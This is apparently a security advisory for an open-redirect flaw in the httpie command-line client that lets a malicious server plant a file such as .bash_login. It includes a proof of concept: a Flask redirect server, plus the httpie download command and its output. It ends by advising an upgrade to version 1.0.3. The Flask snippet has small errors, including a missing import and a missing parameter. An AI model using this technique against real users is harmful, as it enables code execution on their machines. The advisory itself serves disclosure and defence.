httpie is a command line HTTP client.
Affected versions of this package are vulnerable to Open Redirect that allows an attacker to write an arbitrary file with supplied filename and content to the current directory, by redirecting a request from HTTP to a crafted URL pointing to a server in his or hers control. Depending on the context of using this command, this can lead to remote code execution and possibly privilege escalation.
PoC by Giulio Comi
First, we need to setup the attacking server with the redirection. In python,
Flask can be used for this matter:
from flask import Flask, send_from_directory, redirect app = Flask(__name__) @app.route('/') def hello_world(): return 'Hello World!' @app.route('/original_filename', methods=['GET']) def hello(): return redirect("http://localhost:5000/static/.bash_login", code=302) @app.route('/static/<path:path>', methods=['GET']) def malicious(): response = make_response(send_from_directory('static', path)) response.headers['Content-Type'] = 'application/json' response.headers['Content-Disposition'] = 'inline' return response if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
HTTPie with attempting to download from the server will result in:
root@host: /# http --proxy http://127.0.0.1:8080 --download http://localhost:5000/original_filename HTTP/1.0 200 OK Accept-Ranges: bytes Cache-Control: public, max-age=43200 Content-Length: 7 Content-type: application/octet-stream Date: Thu, 23 May 2019 20:20:52 GMT Last-Modified: Thu, 23 May 2019 19:54:21 GMT Server: Werkzeug/0.15.4 Python/2.7.13 Downloading 50.00 B to ".bash_login" Done. 50.00 B in 0.00050s (96.97 kB/s)
The controlled server then redirects the GET request for
original_filename to a malicious crafted
Running this command in the home directory might create the previously non-existing
.bash_login that can lead to code execution when the user logs in.
HTTPie official documentation:
If not provided via --output, -o, the output filename will be determined from Content-Disposition (if available), or from the URL and Content-Type. If the guessed filename already exists, HTTPie adds a unique suffix to it.
HTTPie will add a suffix to any existing file if not provided otherwise preventing critical file overwrites.
httpie to version 1.0.3 or higher.